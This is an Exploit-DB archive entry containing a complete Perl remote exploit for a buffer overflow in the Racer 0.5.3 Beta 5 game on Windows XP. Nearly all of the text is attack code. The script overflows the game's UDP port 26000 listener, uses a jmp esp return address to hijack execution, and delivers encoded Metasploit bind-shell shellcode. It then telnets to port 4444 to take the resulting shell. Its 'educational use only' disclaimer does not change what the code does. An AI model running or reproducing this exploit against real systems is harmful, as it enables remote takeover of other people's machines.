Exploit-DB #4283
Description: Racer 0.5.3 Beta 5 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-08-13
Author: n00b

Exploit:
#!/usr/bin/perl
###Credit's to n00b.
################################################
#Racer v0.5.3 beta 5 (12-03-07) remote exploit.
#Racer is also prone to a buffer over flow in the
#server and client.Automatically the game open's
#Udp port 26000 and is waiting for a msg buffer.
#If we send an overly long buffer we are able to
#Control the eip register and esp hold's enough
#buffer to have a good size shell code.
###############################################
#Tested: Win Xp sp2 English
#Vendor's web site: http://www.racer.nl/
#Affected version's: all version's.
#Tested on: Racer v0.5.3 beta 5 (12-03-07).
#Special thank's to str0ke.
###########################


print <<End;
*****************************************************
Racer v0.5.3 beta 5 (12-03-07) remote exploit
=====================================================
Credit's to n00b for finding this bug and writing
the exploit.This exploit work's for the client
and the server.
*****************************************************

Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.
I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!
*****************************************************
Shout's ~ str0ke ~ c0ntex ~ marsu ~v9@fakehalo
Luigi Auriemma.
*****************************************************
(*)Please wait
End

sleep 8;
system("cls");

use IO::Socket;

$ip = $ARGV[0];

$payload1 = "A"x1001;

#jmp esp 0x77D8AF0A user32.dll english
$jmpcode = "\x0A\xAF\xD8\x77";

#win32_bind -EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2
#http://metasploit.com */.
$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
"\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x67".
"\x58\x30\x41\x31\x50\x42\x41\x6b\x42\x41\x77\x32\x42\x42\x42\x32".
"\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x5a\x49\x49\x6c\x72".
"\x4a\x48\x6b\x32\x6d\x48\x68\x4c\x39\x39\x6f\x39\x6f\x69\x6f\x43".
"\x50\x6e\x6b\x50\x6c\x66\x44\x41\x34\x4c\x4b\x73\x75\x47\x4c\x6c".
"\x4b\x43\x4c\x57\x75\x30\x78\x75\x51\x7a\x4f\x4c\x4b\x42\x6f\x34".
"\x58\x4e\x6b\x41\x4f\x37\x50\x46\x61\x7a\x4b\x42\x69\x4e\x6b\x46".
"\x54\x6c\x4b\x63\x31\x6a\x4e\x50\x31\x49\x50\x4c\x59\x6e\x4c\x6f".
"\x74\x49\x50\x32\x54\x74\x47\x6f\x31\x6b\x7a\x44\x4d\x46\x61\x6f".
"\x32\x4a\x4b\x4a\x54\x77\x4b\x31\x44\x51\x34\x55\x78\x31\x65\x4b".
"\x55\x6c\x4b\x33\x6f\x75\x74\x63\x31\x38\x6b\x35\x36\x4e\x6b\x44".
"\x4c\x70\x4b\x4e\x6b\x43\x6f\x55\x4c\x36\x61\x78\x6b\x36\x63\x66".
"\x4c\x4e\x6b\x6f\x79\x42\x4c\x31\x34\x57\x6c\x75\x31\x78\x43\x75".
"\x61\x39\x4b\x50\x64\x4c\x4b\x57\x33\x34\x70\x4c\x4b\x77\x30\x64".
"\x4c\x4c\x4b\x70\x70\x37\x6c\x4c\x6d\x6e\x6b\x61\x50\x74\x48\x31".
"\x4e\x30\x68\x6c\x4e\x62\x6e\x44\x4e\x78\x6c\x72\x70\x39\x6f\x79".
"\x46\x63\x56\x76\x33\x70\x66\x42\x48\x56\x53\x37\x42\x53\x58\x62".
"\x57\x41\x63\x54\x72\x63\x6f\x51\x44\x59\x6f\x5a\x70\x50\x68\x7a".
"\x6b\x6a\x4d\x4b\x4c\x47\x4b\x62\x70\x59\x6f\x6e\x36\x71\x4f\x6f".
"\x79\x4d\x35\x43\x56\x6b\x31\x4a\x4d\x33\x38\x34\x42\x31\x45\x52".
"\x4a\x55\x52\x79\x6f\x6e\x30\x73\x58\x6a\x79\x77\x79\x4c\x35\x4c".
"\x6d\x52\x77\x39\x6f\x69\x46\x72\x73\x71\x43\x61\x43\x41\x43\x30".
"\x53\x42\x63\x46\x33\x42\x63\x71\x43\x4b\x4f\x58\x50\x71\x76\x30".
"\x68\x32\x31\x71\x4c\x65\x36\x41\x43\x6b\x39\x58\x61\x6a\x35\x63".
"\x58\x59\x34\x76\x7a\x30\x70\x4b\x77\x61\x47\x49\x6f\x4a\x76\x71".
"\x7a\x42\x30\x53\x61\x41\x45\x6b\x4f\x5a\x70\x53\x58\x6e\x44\x6c".
"\x6d\x64\x6e\x6d\x39\x36\x37\x49\x6f\x4b\x66\x73\x63\x30\x55\x39".
"\x6f\x4e\x30\x52\x48\x4d\x35\x41\x59\x6f\x76\x32\x69\x70\x57\x49".
"\x6f\x4e\x36\x66\x30\x66\x34\x30\x54\x43\x65\x4b\x4f\x4a\x70\x4f".
"\x63\x63\x58\x39\x77\x50\x79\x68\x46\x64\x39\x36\x37\x39\x6f\x4e".
"\x36\x70\x55\x4b\x4f\x6e\x30\x63\x56\x31\x7a\x32\x44\x42\x46\x31".
"\x78\x33\x53\x72\x4d\x4d\x59\x78\x65\x50\x6a\x52\x70\x70\x59\x57".
"\x59\x38\x4c\x6b\x39\x5a\x47\x31\x7a\x72\x64\x4e\x69\x4b\x52\x70".
"\x31\x49\x50\x78\x73\x4e\x4a\x4b\x4e\x71\x52\x56\x4d\x6b\x4e\x72".
"\x62\x34\x6c\x4f\x63\x6e\x6d\x33\x4a\x77\x48\x4e\x4b\x6c\x6b\x4c".
"\x6b\x55\x38\x32\x52\x6b\x4e\x58\x33\x56\x76\x59\x6f\x70\x75\x43".
"\x74\x49\x6f\x7a\x76\x43\x6b\x36\x37\x70\x52\x36\x31\x31\x41\x31".
"\x41\x52\x4a\x54\x41\x70\x51\x51\x41\x50\x55\x63\x61\x6b\x4f\x58".
"\x50\x73\x58\x4c\x6d\x79\x49\x43\x35\x4a\x6e\x31\x43\x4b\x4f\x7a".
"\x76\x71\x7a\x59\x6f\x4b\x4f\x64\x77\x6b\x4f\x38\x50\x4c\x4b\x50".
"\x57\x79\x6c\x4c\x43\x5a\x64\x70\x64\x4b\x4f\x4e\x36\x33\x62\x79".
"\x6f\x6e\x30\x41\x78\x4c\x30\x6f\x7a\x43\x34\x51\x4f\x50\x53\x79".
"\x6f\x4a\x76\x4b\x4f\x4e\x30\x67";

$payload2 = "B"x500;


if(!$ip)
{

die "remember the ip\n";

}

$port = '26000';

$protocol = 'udp';

$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                              PeerPort=>$port,
                              Proto=>$protocol,
                               Timeout=>'1') || die "Make sure service
is running on the port\n";

{
print $socket $payload1,$jmpcode,$shellcode,$payload2,;
print "[+]Sending malicious payload.\n";
sleep 2;
system("cls");
print "[+]Done !!.\n";
close($socket);
{
sleep 5;
print " + Connecting on port 4444 of $host ...\n";
system("telnet $ip 4444");
close($socket);
 }
}

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#Microsoft Windows XP [Version 5.1.2600]
#(C) Copyright 1985-2001 Microsoft Corp.
# C:\Documents and Settings\****\Desktop\racer053b5>
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# milw0rm.com [2007-08-13]